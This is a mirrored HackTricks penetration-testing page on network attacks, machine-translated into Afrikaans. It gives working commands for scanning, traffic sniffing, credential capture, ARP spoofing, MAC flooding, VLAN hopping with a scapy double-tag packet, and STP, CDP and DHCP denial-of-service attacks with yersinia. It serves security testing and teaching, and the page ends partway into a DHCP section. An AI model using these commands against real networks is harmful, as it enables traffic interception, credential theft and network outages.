Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-22 12:43:23 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/generic-methodologies-and-resources/pentesting-network
History
Translator e2cf4aff4b Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2
2024-05-05 22:31:04 +00:00
..
dhcpv6.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00
eigrp-attacks.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00
glbp-and-hsrp-attacks.md Translated ['binary-exploitation/rop-return-oriented-programing/ret2lib/ 2024-05-02 15:08:10 +00:00
ids-evasion.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00
lateral-vlan-segmentation-bypass.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00
network-protocols-explained-esp.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00
nmap-summary-esp.md Translated ['binary-exploitation/rop-return-oriented-programing/ret2lib/ 2024-05-02 15:08:10 +00:00
pentesting-ipv6.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00
README.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-05-05 22:31:04 +00:00
spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00
spoofing-ssdp-and-upnp-devices.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00

README.md

Pentesting Netwerk

Leer AWS hakwerk vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:


Bug bounty wenk: teken aan vir Intigriti, 'n premium bug bounty platform geskep deur hackers, vir hackers! Sluit by ons aan by https://go.intigriti.com/hacktricks vandag, en begin om belonings tot $100,000 te verdien!

{% embed url="https://go.intigriti.com/hacktricks" %}

Ontdekking van gasheer van buite

Dit gaan 'n kort afdeling wees oor hoe om IPs te vind wat reageer vanaf die Internet.
In hierdie situasie het jy 'n omvang van IPs (miskien selfs verskeie reekse) en jy moet net uitvind watter IPs reageer.

ICMP

Dit is die maklikste en vinnigste manier om te ontdek of 'n gasheer aan is of nie.
Jy kan probeer om 'n paar ICMP pakkies te stuur en verwag antwoorde. Die maklikste manier is om net 'n echo versoek te stuur en antwoord te verwag. Jy kan dit doen deur 'n eenvoudige ping te gebruik of deur fping te gebruik vir reekse.
Jy kan ook nmap gebruik om ander tipes ICMP pakkies te stuur (dit sal filters vir gewone ICMP echo versoek-antwoord vermy).

ping -c 1 199.66.11.4    # 1 echo request to a host
fping -g 199.66.11.0/24  # Send echo requests to ranges
nmap -PE -PM -PP -sn -n 199.66.11.0/24 #Send echo, timestamp requests and subnet mask requests

TCP Poort Ontdekking

Dit is baie algemeen om te vind dat alle soorte ICMP-pakette gefiltreer word. Dan is alles wat jy kan doen om te kyk of 'n gasheer aan is, om oop poorte te vind. Elke gasheer het 65535 poorte, so, as jy 'n "groot" omvang het, kan jy nie toets of elke poort van elke gasheer oop of toe is nie, dit sal te veel tyd neem.
Wat jy nodig het is 'n vinnige poortskandeerder (masscan) en 'n lys van die mees gebruikte poorte:

#Using masscan to scan top20ports of nmap in a /24 range (less than 5min)
masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 199.66.11.0/24

HTTP Poort Ontdekking

Dit is net 'n TCP-poort ontdekking wat nuttig is wanneer jy wil fokus op die ontdekking van HTTP-diens.

masscan -p80,443,8000-8100,8443 199.66.11.0/24

UDP Poort Ontdekking

Jy kan ook probeer om te kyk vir UDP-poorte wat oop is om te besluit of jy meer aandag aan 'n gasheer moet gee. Aangesien UDP-diens gewoonlik nie reageer met enige data op 'n gewone leë UDP-navraagpakket nie, is dit moeilik om te sê of 'n poort gefiltreer of oop is. Die maklikste manier om dit te besluit, is om 'n pakket te stuur wat verband hou met die lopende diens, en aangesien jy nie weet watter diens loop nie, moet jy die mees waarskynlike probeer gebaseer op die poortnommer:

nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24
# The -sV will make nmap test each possible known UDP service packet
# The "--version-intensity 0" will make nmap only test the most probable

Die nmap lyn voorgestel voor sal die top 1000 UDP-poorte toets in elke gasheer binne die /24-reeks, maar selfs net dit sal >20min neem. As jy vinnigste resultate benodig, kan jy udp-proto-scanner gebruik: ./udp-proto-scanner.pl 199.66.11.53/24 Dit sal hierdie UDP-ondersoeke na hul verwagte poort stuur (vir 'n /24-reeks sal dit net 1 minuut neem): DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike,ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp.

SCTP Poort Ontdekking

#Probably useless, but it's pretty fast, why not trying?
nmap -T4 -sY -n --open -Pn <IP/range>

Pentesting Wifi

Hier kan jy 'n goeie gids vind van al die bekende Wifi-aanvalle op die tyd van die skryf:

{% content-ref url="../pentesting-wifi/" %} pentesting-wifi {% endcontent-ref %}

Ontdekking van gasheer van binne

As jy binne die netwerk is, is een van die eerste dinge wat jy wil doen, ander gasheer ontdek. Afhangende van hoeveel geraas jy kan/wil maak, kan verskillende aksies uitgevoer word:

Passief

Jy kan hierdie gereedskap gebruik om gasheer binne 'n gekoppelde netwerk passief te ontdek:

netdiscover -p
p0f -i eth0 -p -o /tmp/p0f.log
# Bettercap
net.recon on/off #Read local ARP cache periodically
net.show
set net.show.meta true #more info

Aktief

Merk op dat die tegnieke wat in Ontdekking van gasheer van buiteaf (TCP/HTTP/UDP/SCTP Poortontdekking) gekomment is, kan ook hier toegepas word.
Maar, aangesien jy in dieselfde netwerk as die ander gasheer is, kan jy meer dinge doen:

#ARP discovery
nmap -sn <Network> #ARP Requests (Discover IPs)
netdiscover -r <Network> #ARP requests (Discover IPs)

#NBT discovery
nbtscan -r 192.168.0.1/24 #Search in Domain

# Bettercap
net.probe on/off #Discover hosts on current subnet by probing with ARP, mDNS, NBNS, UPNP, and/or WSD
set net.probe.mdns true/false #Enable mDNS discovery probes (default=true)
set net.probe.nbns true/false #Enable NetBIOS name service discovery probes (default=true)
set net.probe.upnp true/false #Enable UPNP discovery probes (default=true)
set net.probe.wsd true/false #Enable WSD discovery probes (default=true)
set net.probe.throttle 10 #10ms between probes sent (default=10)

#IPv6
alive6 <IFACE> # Send a pingv6 to multicast.

Aktiewe ICMP

Let daarop dat die tegnieke wat in Ontdekking van gasheer van buite af (ICMP) gekomment is, kan ook hier toegepas word.
Maar, aangesien jy in dieselfde netwerk as die ander gasheer is, kan jy meer dinge doen:

  • As jy 'n subnetafroepadres ping, behoort die ping by elke gasheer aan te kom en hulle kan aan jou antwoord: ping -b 10.10.5.255
  • Deur die netwerkafroepadres te ping, kan jy selfs gasheer binne ander subnetafroepadress vind: ping -b 255.255.255.255
  • Gebruik die -PE, -PP, -PM vlae van nmap om gasheerontdekking uit te voer deur onderskeidelik ICMPv4-echo, tydstempel en subnetafroepversoek te stuur: nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24

Wek Op Lan

Wek Op Lan word gebruik om rekenaars aan te skakel deur 'n netwerkboodskap. Die sielvolle pakkie wat gebruik word om die rekenaar aan te skakel, is slegs 'n pakkie waar 'n MAC Dst verskaf word en dit word dan 16 keer herhaal binne dieselfde pakkie.
Hierdie soort pakkies word gewoonlik gestuur in 'n ethernet 0x0842 of in 'n UDP-pakkie na poort 9.
As daar geen [MAC] verskaf word nie, word die pakkie gestuur na uithaal-ethernet (en die uithaal-MAC sal die een wees wat herhaal word).

# Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain)
wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847
wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9

Skandering van Gasheer

Sodra jy al die IP-adresse (ekstern of intern) wat jy in diepte wil skandeer, ontdek het, kan verskillende aksies uitgevoer word.

TCP

  • Oop poort: SYN --> SYN/ACK --> RST
  • Geslote poort: SYN --> RST/ACK
  • Gefiltreerde poort: SYN --> [GEEN REAKSIE]
  • Gefiltreerde poort: SYN --> ICMP-boodskap
# Nmap fast scan for the most 1000tcp ports used
nmap -sV -sC -O -T4 -n -Pn -oA fastscan <IP>
# Nmap fast scan for all the ports
nmap -sV -sC -O -T4 -n -Pn -p- -oA fullfastscan <IP>
# Nmap fast scan for all the ports slower to avoid failures due to -T4
nmap -sV -sC -O -p- -n -Pn -oA fullscan <IP>

#Bettercap Scan
syn.scan 192.168.1.0/24 1 10000 #Ports 1-10000

UDP

Daar is 2 opsies om 'n UDP-poort te skandeer:

  • Stuur 'n UDP-pakket en kontroleer vir die respons ICMP onbereikbaar as die poort toe is (in verskeie gevalle sal ICMP gefilter word sodat jy geen inligting sal ontvang of die poort oop of toe is).
  • Stuur 'n geformateerde datagramme om 'n respons van 'n diens te lok (bv., DNS, DHCP, TFTP, en ander, soos gelys in nmap-payloads). As jy 'n respons ontvang, dan is die poort oop.

Nmap sal beide opsies meng deur "-sV" te gebruik (UDP-skandes is baie stadig), maar let daarop dat UDP-skandes stadiger as TCP-skandes is:

# Check if any of the most common udp services is running
udp-proto-scanner.pl <IP>
# Nmap fast check if any of the 100 most common UDP services is running
nmap -sU -sV --version-intensity 0 -n -F -T4 <IP>
# Nmap check if any of the 100 most common UDP services is running and launch defaults scripts
nmap -sU -sV -sC -n -F -T4 <IP>
# Nmap "fast" top 1000 UDP ports
nmap -sU -sV --version-intensity 0 -n -T4 <IP>
# You could use nmap to test all the UDP ports, but that will take a lot of time

SCTP Skandering

SCTP (Stream Control Transmission Protocol) is ontwerp om saam met TCP (Transmission Control Protocol) en UDP (User Datagram Protocol) gebruik te word. Sy hoofdoel is om die vervoer van telefoniedata oor IP-netwerke te fasiliteer, wat baie van die betroubaarheidskenmerke wat in Signaling System 7 (SS7) gevind word, naboots. SCTP is 'n kernkomponent van die SIGTRAN protokolfamilie, wat daarop gemik is om SS7-seine oor IP-netwerke te vervoer.

Die ondersteuning vir SCTP word voorsien deur verskeie bedryfstelsels, soos IBM AIX, Oracle Solaris, HP-UX, Linux, Cisco IOS, en VxWorks, wat sy breë aanvaarding en bruikbaarheid in die veld van telekommunikasie en netwerke aandui.

Nmap bied twee verskillende skanderings vir SCTP aan: -sY en -sZ

# Nmap fast SCTP scan
nmap -T4 -sY -n -oA SCTFastScan <IP>
# Nmap all SCTP scan
nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan <IP>

IDS en IPS ontduiking

{% content-ref url="ids-evasion.md" %} ids-evasion.md {% endcontent-ref %}

Meer nmap opsies

{% content-ref url="nmap-summary-esp.md" %} nmap-summary-esp.md {% endcontent-ref %}

Onthulling van Interne IP-adresse

Soms reageer sleutelgekonfigureerde routers, brandmuurtoestelle en netwerktoestelle op netwerkondersoeke met nie-openbare bronadresse. tcpdump kan gebruik word om pakkies te identifiseer wat vanaf private adresse ontvang word tydens toetsing. Spesifiek op Kali Linux kan pakkies op die eth2-koppelvlak vasgevang word, wat toeganklik is vanaf die openbare internet. Dit is belangrik om daarop te let dat as jou opstelling agter 'n NAT of 'n brandmuur is, sulke pakkies waarskynlik gefiltreer sal word.

tcpdump –nt -i eth2 src net 10 or 172.16/12 or 192.168/16
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth2, link-type EN10MB (Ethernet), capture size 65535 bytes
IP 10.10.0.1 > 185.22.224.18: ICMP echo reply, id 25804, seq 1582, length 64
IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64

Sniffing

Sniffing jy kan besonderhede van IP-reekse, subnetgroottes, MAC-adresse, en hostnames leer deur vasgevangde rame en pakkette te hersien. As die netwerk verkeerd geconfigureer is of die skakelstof onder druk is, kan aanvallers sensitiewe materiaal vasvang deur passiewe netwerksniffing.

As 'n geskakelde Ethernet-netwerk behoorlik geconfigureer is, sal jy slegs uitsaai-rame en materiaal sien wat bestem is vir jou MAC-adres.

TCPDump

sudo tcpdump -i <INTERFACE> udp port 53 #Listen to DNS request to discover what is searching the host
tcpdump -i <IFACE> icmp #Listen to icmp packets
sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &"

Een kan ook pakkies vanaf 'n afgeleë rekenaar vasvang oor 'n SSH-sessie met Wireshark as die GUI in werkliktyd.

ssh user@<TARGET IP> tcpdump -i ens160 -U -s0 -w - | sudo wireshark -k -i -
ssh <USERNAME>@<TARGET IP> tcpdump -i <INTERFACE> -U -s0 -w - 'port not 22' | sudo wireshark -k -i - # Exclude SSH traffic

Bettercap

net.sniff on
net.sniff stats
set net.sniff.output sniffed.pcap #Write captured packets to file
set net.sniff.local  #If true it will consider packets from/to this computer, otherwise it will skip them (default=false)
set net.sniff.filter #BPF filter for the sniffer (default=not arp)
set net.sniff.regexp #If set only packets matching this regex will be considered

Wireshark

Duidelik.

Vaslegging van geloofsbriewe

Jy kan gereedskap soos https://github.com/lgandx/PCredz gebruik om geloofsbriewe van 'n pcap of 'n lewende koppelvlak te ontled.

LAN-aanvalle

ARP-spoofing

ARP-spoofing behels die stuur van vrygewige ARP-antwoorde om aan te dui dat die IP van 'n masjien die MAC van ons toestel het. Dan sal die slagoffer die ARP-tabel verander en sal elke keer wanneer dit die vervalsde IP wil kontak, ons masjien kontak.

Bettercap

arp.spoof on
set arp.spoof.targets <IP> #Specific targets to ARP spoof (default=<entire subnet>)
set arp.spoof.whitelist #Specific targets to skip while spoofing
set arp.spoof.fullduplex true #If true, both the targets and the gateway will be attacked, otherwise only the target (default=false)
set arp.spoof.internal true #If true, local connections among computers of the network will be spoofed, otherwise only connections going to and coming from the Internet (default=false)

Arpspoof

echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -t 192.168.1.1 192.168.1.2
arpspoof -t 192.168.1.2 192.168.1.1

MAC Oorstroming - CAM-oorvloeiing

Oorstroom die skakelaar se CAM-tabel deur 'n groot hoeveelheid pakkette met verskillende bron-MAC-adresse te stuur. Wanneer die CAM-tabel vol is, begin die skakelaar optree soos 'n hub (alle verkeer uitsaai).

macof -i <interface>

In moderne skakelaars is hierdie kwesbaarheid reggestel.

802.1Q VLAN / DTP Aanvalle

Dinamiese Trunking

Die Dynamic Trunking Protocol (DTP) is ontwerp as 'n skakellaag-protokol om 'n outomatiese stelsel vir trunking te fasiliteer, wat skakelaars in staat stel om outomaties poorte vir trunk-modus (Trunk) of nie-trunk-modus te kies. Die implementering van DTP word dikwels beskou as 'n aanduiding van suboptimale netwerkontwerp, wat die belang van die handmatige konfigurasie van trunk-slegs waar nodig en die versekering van behoorlike dokumentasie beklemtoon.

Standaard is skakelportuure ingestel om in Dinamiese Auto-modus te werk, wat beteken dat hulle gereed is om trunking te inisieer as dit deur 'n aangrensende skakelaar genader word. 'n Sekuriteitskwessie ontstaan wanneer 'n pentester of aanvaller aan die skakelaar koppel en 'n DTP Begeerlike raam stuur, wat die poort dwing om trunk-modus binne te gaan. Hierdie aksie stel die aanvaller in staat om VLAN's te numereer deur middel van STP-raamontleding en om VLAN-segmentering te omseil deur virtuele koppelvlakke op te stel.

Die teenwoordigheid van DTP in baie skakelaars per standaard kan deur teenstanders uitgebuit word om 'n skakelaar se gedrag na te boots, en sodoende toegang tot verkeer oor alle VLAN's te verkry. Die skripsie dtpscan.sh word gebruik om 'n koppelvlak te monitor, wat onthul of 'n skakelaar in Standaard, Trunk, Dinamies, Auto, of Toegangsmodus is—laasgenoemde is die enigste konfigurasie wat immuun is teen VLAN-opspringaanvalle. Hierdie instrument evalueer die kwesbaarheidsstatus van die skakelaar.

Indien netwerkkwesbaarheid geïdentifiseer word, kan die Yersinia instrument gebruik word om "trunking" via die DTP-protokol moontlik te maak, wat die waarneming van pakkies van alle VLAN's toelaat.

apt-get install yersinia #Installation
sudo apt install kali-linux-large #Another way to install it in Kali
yersinia -I #Interactive mode
#In interactive mode you will need to select a interface first
#Then, you can select the protocol to attack using letter "g"
#Finally, you can select the attack using letter "x"

yersinia -G #For graphic mode

Om die VLAN's op te som, is dit ook moontlik om die DTP Begeerlike raam te genereer met die skripsie DTPHijacking.py**. Moet nie die skripsie onder enige omstandighede onderbreek nie. Dit spuit DTP Begeerlike elke drie sekondes in. Die dinamies geskepte stamkanale op die skakelaar bly net vir vyf minute lewendig. Na vyf minute val die stam af.

sudo python3 DTPHijacking.py --interface eth0

Ek wil graag daarop wys dat Toegang/Gewens (0x03) aandui dat die DTP-raam van die Gewens tipe is, wat die poort sê om na Trunk-modus oor te skakel. En 802.1Q/802.1Q (0xa5) dui op die 802.1Q inkapsuleringstipe.

Deur die STP-rame te analiseer, kom ons agter van die bestaan van VLAN 30 en VLAN 60.

Aanval op spesifieke VLAN's

Sodra jy die VLAN-ID's en IP-waardes ken, kan jy 'n virtuele koppelvlak konfigureer om 'n spesifieke VLAN aan te val.
As DHCP nie beskikbaar is nie, gebruik dan ifconfig om 'n statiese IP-adres in te stel.

root@kali:~# modprobe 8021q
root@kali:~# vconfig add eth1 250
Added VLAN with VID == 250 to IF -:eth1:-
root@kali:~# dhclient eth1.250
Reloading /etc/samba/smb.conf: smbd only.
root@kali:~# ifconfig eth1.250
eth1.250  Link encap:Ethernet  HWaddr 00:0e:c6:f0:29:65
inet addr:10.121.5.86  Bcast:10.121.5.255  Mask:255.255.255.0
inet6 addr: fe80::20e:c6ff:fef0:2965/64 Scope:Link
UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
RX packets:19 errors:0 dropped:0 overruns:0 frame:0
TX packets:13 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:2206 (2.1 KiB)  TX bytes:1654 (1.6 KiB)

root@kali:~# arp-scan -I eth1.250 10.121.5.0/24

# Another configuration example
modprobe 8021q
vconfig add eth1 20
ifconfig eth1.20 192.168.1.2 netmask 255.255.255.0 up

# Another configuration example
sudo vconfig add eth0 30
sudo ip link set eth0.30 up
sudo dhclient -v eth0.30

Outomatiese VLAN Hopper

Die besproke aanval van Dinamiese Trunking en die skep van virtuele koppelvlakke en die ontdekking van gasheer binne ander VLAN's word outomaties uitgevoer deur die gereedskap: https://github.com/nccgroup/vlan-hopping---frogger

Dubbele Etikettering

As 'n aanvaller die waarde van die MAC, IP en VLAN ID van die slagoffer gasheer ken, kan hy probeer om 'n raamwerk dubbel te etiketteer met sy aangewese VLAN en die VLAN van die slagoffer en 'n pakkie stuur. Aangesien die slagoffer nie kan terugkoppel met die aanvaller nie, is die beste opsie vir die aanvaller om te kommunikeer via UDP na protokolle wat interessante aksies kan uitvoer (soos SNMP).

'n Ander opsie vir die aanvaller is om 'n TCP-poortskandering te begin deur 'n IP te vervals wat deur die aanvaller beheer word en toeganklik is deur die slagoffer (waarskynlik deur die internet). Dan kan die aanvaller in die tweede gasheer wat aan hom behoort, snif as dit enige pakkies van die slagoffer ontvang.

Om hierdie aanval uit te voer, kan jy scapy gebruik: pip install scapy

from scapy.all import *
# Double tagging with ICMP packet (the response from the victim isn't double tagged so it will never reach the attacker)
packet = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=20)/IP(dst='192.168.1.10')/ICMP()
sendp(packet)

Laterale VLAN-segmenteringsoorskryding

Indien jy toegang het tot 'n skakelaar waar jy direk mee verbind is, het jy die vermoë om VLAN-segmentering te oorskry binne die netwerk. Skakel eenvoudig die poort na stammodus (ook bekend as stam), skep virtuele koppelvlakke met die ID's van die teiken VLAN's, en konfigureer 'n IP-adres. Jy kan probeer om die adres dinamies aan te vra (DHCP) of jy kan dit staties konfigureer. Dit hang af van die geval.

{% content-ref url="lateral-vlan-segmentation-bypass.md" %} lateral-vlan-segmentation-bypass.md {% endcontent-ref %}

Laag 3 Privaat VLAN-oorskryding

In sekere omgewings, soos gas-gasnetwerke, word poortisolering (ook bekend as privaat VLAN)-instellings geïmplementeer om te voorkom dat kliënte wat aan 'n draadlose toegangspunt gekoppel is, direk met mekaar kan kommunikeer. 'n Tegniek is egter geïdentifiseer wat hierdie isoleringsmaatreëls kan omseil. Hierdie tegniek maak gebruik van die gebrek aan netwerk ACL's of hul onvanpaste konfigurasie, wat IP-pakkette moontlik maak om deur 'n router gerouteer te word om 'n ander kliënt op dieselfde netwerk te bereik.

Die aanval word uitgevoer deur 'n pakkie te skep wat die IP-adres van die bestemmingskliënt dra, maar met die router se MAC-adres. Dit veroorsaak dat die router die pakkie per abuis na die teikenkliënt stuur. Hierdie benadering is soortgelyk aan dié wat in Dubbele Etiketteringsaanvalle gebruik word, waar die vermoë om 'n gas te beheer wat toeganklik is vir die slagoffer, gebruik word om die sekuriteitsfout uit te buit.

Kernstappe van die Aanval:

  1. Skep 'n Pakket: 'n Pakket word spesiaal geskep om die IP-adres van die teikenkliënt in te sluit, maar met die router se MAC-adres.
  2. Uitbuiting van Router-gedrag: Die geskepte pakkie word na die router gestuur, wat, as gevolg van die konfigurasie, die pakkie na die teikenkliënt omskakel, terwyl die isolering wat deur privaat VLAN-instellings voorsien word, omseil word.

VTP-aanvalle

VTP (VLAN-trunkprotokol) sentraliseer VLAN-bestuur. Dit maak gebruik van hersieningsnommers om die integriteit van die VLAN-databasis te handhaaf; enige wysiging verhoog hierdie nommer. Skakelaars neem konfigurasies met hoër hersieningsnommers aan, en werk hul eie VLAN-databasisse by.

VTP-domeinrolle

  • VTP-bediener: Bestuur VLAN's—skep, verwyder, wysig. Dit straal VTP-aankondigings na domeinlede uit.
  • VTP-klient: Ontvang VTP-aankondigings om sy VLAN-databasis te sinchroniseer. Hierdie rol word beperk vanaf plaaslike VLAN-konfigurasiewysigings.
  • VTP-deursigtig: Neem nie deel aan VTP-opdaterings nie, maar stuur VTP-aankondigings voort. Ongeaffekteer deur VTP-aanvalle, handhaaf dit 'n konstante hersieningsnommer van nul.

VTP-advertensietipes

  • Opsommingadvertensie: Uitgesaai deur die VTP-bediener elke 300 sekondes, met essensiële domeininligting.
  • Substeladvertensie: Gestuur na VLAN-konfigurasieveranderings.
  • Advertensieversoek: Uitgereik deur 'n VTP-klient om 'n Opsommingadvertensie aan te vra, tipies as reaksie op die opsporing van 'n hoër konfigurasiehersieningsnommer.

VTP-kwesbaarhede is uitsluitlik uitbuitbaar via stamporte aangesien VTP-aankondigings slegs deur hulle sirkuleer. Na DTP-aanvalscenario's kan daar na VTP geswaai word. Gereedskap soos Yersinia kan VTP-aanvalle fasiliteer, met die doel om die VLAN-databasis uit te wis, wat die netwerk effektief ontwrig.

Nota: Hierdie bespreking handel oor VTP-weergawe 1 (VTPv1).

%% yersinia -G # Launch Yersinia in graphical mode ```

STP Aanvalle

As jy nie BPDU-rame op jou koppelvlakke kan vasvang nie, is dit onwaarskynlik dat jy suksesvol sal wees in 'n STP-aanval.

STP BPDU DoS

Deur 'n groot aantal BPDUs TCP (Topology Change Notification) of Conf (die BPDUs wat gestuur word wanneer die topologie geskep word) te stuur, word die skakelaars oorlaai en hou op om korrek te werk.

yersinia stp -attack 2
yersinia stp -attack 3
#Use -M to disable MAC spoofing

STP TCP Aanval

Wanneer 'n TCP gestuur word, sal die CAM-tabel van die skakelaars binne 15 sekondes uitgevee word. Dan, as jy voortdurend hierdie soort pakkies stuur, sal die CAM-tabel voortdurend herlaai word (elke 15 sekondes) en wanneer dit herlaai word, gedra die skakelaar hom soos 'n hub.

yersinia stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds
yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen

STP Wortel Aanval

Die aanvaller boots die gedrag van 'n skakelaar na om die STP wortel van die netwerk te word. Dan sal meer data deur hom gaan. Dit is interessant wanneer jy aan twee verskillende skakelaars gekoppel is.
Dit word gedoen deur BPDUs CONF-pakette te stuur wat sê dat die prioriteit waarde minder is as die werklike prioriteit van die werklike wortel skakelaar.

yersinia stp -attack 4 #Behaves like the root switch
yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root

As die aanvaller aan 2 skakelaars gekoppel is, kan hy die wortel van die nuwe boom wees en al die verkeer tussen daardie skakelaars sal deur hom gaan (‘n MITM-aanval sal uitgevoer word).

yersinia stp -attack 6 #This will cause a DoS as the layer 2 packets wont be forwarded. You can use Ettercap to forward those packets "Sniff" --> "Bridged sniffing"
ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpackages

CDP Aanvalle

CISCO Discovery Protocol (CDP) is noodsaaklik vir kommunikasie tussen CISCO-toestelle, wat hulle in staat stel om mekaar te identifiseer en konfigurasiebesonderhede te deel.

Passiewe Data-insameling

CDP is ingestel om inligting deur alle poorte uit te saai, wat 'n sekuriteitsrisiko kan inhou. 'n Aanvaller kan, nadat hy aan 'n skakelport verbind het, netwerk-sniffers soos Wireshark, tcpdump, of Yersinia in werking stel. Hierdie aksie kan sensitiewe data oor die netwerktoestel onthul, insluitend sy model en die weergawe van Cisco IOS wat dit hardloop. Die aanvaller kan dan spesifieke kwesbaarhede in die geïdentifiseerde Cisco IOS-weergawe teiken.

Indusering van CDP-tabel-oorstroming

'n Meer aggressiewe benadering behels die loods van 'n Diensofweigering (DoS) aanval deur die skakelaar se geheue te oorlaai, deur voor te gee asof dit legitieme CISCO-toestelle is. Hieronder is die opdragvolgorde vir die inisieer van so 'n aanval met behulp van Yersinia, 'n netwerkwerktuig wat ontwerp is vir toetsdoeleindes:

sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO devices
# Alternatively, for a GUI approach:
sudo yersinia -G

Tydens hierdie aanval word die CPU van die skakelaar en CDP-buurtabel swaar belas, wat dikwels lei tot wat gereeld verwys word as "netwerkverlamming" as gevolg van die oormatige gebruik van hulpbronne.

CDP Impersonation Aanval

sudo yersinia cdp -attack 2 #Simulate a new CISCO device
sudo yersinia cdp -attack 0 #Send a CDP packet

Jy kan ook scapy gebruik. Maak seker om dit te installeer met die scapy/contrib pakket.

VoIP Aanvalle en die VoIP Hopper Gereedskap

VoIP-telefone, wat toenemend geïntegreer word met IoT-toestelle, bied funksies soos die ontgrendeling van deure of die beheer van termostate deur spesiale telefoonnommers. Hierdie integrasie kan egter sekuriteitsrisiko's inhou.

Die gereedskap voiphopper is ontwerp om 'n VoIP-telefoon na te boots in verskeie omgewings (Cisco, Avaya, Nortel, Alcatel-Lucent). Dit ontdek die VLAN-ID van die spraaknetwerk deur protokolle soos CDP, DHCP, LLDP-MED, en 802.1Q ARP.

VoIP Hopper bied drie modusse vir die Cisco Discovery Protocol (CDP):

  1. Sniff Modus (-c 0): Analiseer netwerkpakette om die VLAN-ID te identifiseer.
  2. Spoof Modus (-c 1): Genereer aangepaste pakkette wat dié van 'n werklike VoIP-toestel naboots.
  3. Spoof met Voorafgemaakte Pakket Modus (-c 2): Stuur pakkette wat identies is aan dié van 'n spesifieke Cisco IP-telefoonmodel.

Die voorkeurmodus vir spoed is die derde een. Dit vereis die spesifisering van:

  • Die aanvaller se netwerkinterface (-i parameter).
  • Die naam van die nageboote VoIP-toestel (-E parameter), wat voldoen aan die Cisco-naamformaat (bv., SEP gevolg deur 'n MAC-adres).

In korporatiewe omgewings, om 'n bestaande VoIP-toestel na te boots, kan mens:

  • Die MAC-etiket op die telefoon inspekteer.
  • Deur die telefoon se vertooninstellings navigeer om modelinligting te sien.
  • Die VoIP-toestel aan 'n rekenaar koppel en CDP-versoeke waar te neem met Wireshark.

'n Voorbeeldopdrag om die gereedskap in die derde modus uit te voer sou wees:

voiphopper -i eth1 -E 'SEP001EEEEEEEEE ' -c 2

DHCP Aanvalle

Opstel van inligting

nmap --script broadcast-dhcp-discover
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-16 05:30 EDT
WARNING: No targets were specified, so 0 hosts scanned.
Pre-scan script results:
| broadcast-dhcp-discover:
|   Response 1 of 1:
|     IP Offered: 192.168.1.250
|     DHCP Message Type: DHCPOFFER
|     Server Identifier: 192.168.1.1
|     IP Address Lease Time: 1m00s
|     Subnet Mask: 255.255.255.0
|     Router: 192.168.1.1
|     Domain Name Server: 192.168.1.1
|_    Domain Name: mynet
Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds

DoS

Twee tipes DoS kan teen DHCP-bedieners uitgevoer word. Die eerste een behels om genoeg valse gasheer te simuleer om al die moontlike IP-adresse te gebruik.
Hierdie aanval sal net werk as jy die reaksies van die DHCP-bedieners kan sien en die protokol voltooi (Ontdek (Rekenaar) --> Aanbod (bediener) --> Versoek (Rekenaar) --> ACK (bediener)). Byvoorbeeld, dit is nie moontlik in Wifi-netwerke nie.

'n Ander manier om 'n DHCP DoS uit te voer is om 'n DHCP-VRYSKAKEL-pakket te stuur wat elke moontlike IP as bronkode gebruik. Dan sal die bediener dink dat almal klaar is met die gebruik van die IP.

yersinia dhcp -attack 1
yersinia dhcp -attack 3 #More parameters are needed

'n Meer outomatiese manier om dit te doen is deur die hulpmiddel DHCPing te gebruik.

Jy kan die genoemde DoS-aanvalle gebruik om kliënte te dwing om nuwe leases binne die omgewing te verkry, en om legitieme bedieners uit te put sodat hulle ongevoelig word. So wanneer die legitieme probeer om weer aan te sluit, kan jy skadelike waardes bedien wat in die volgende aanval genoem word.

Stel skadelike waardes in

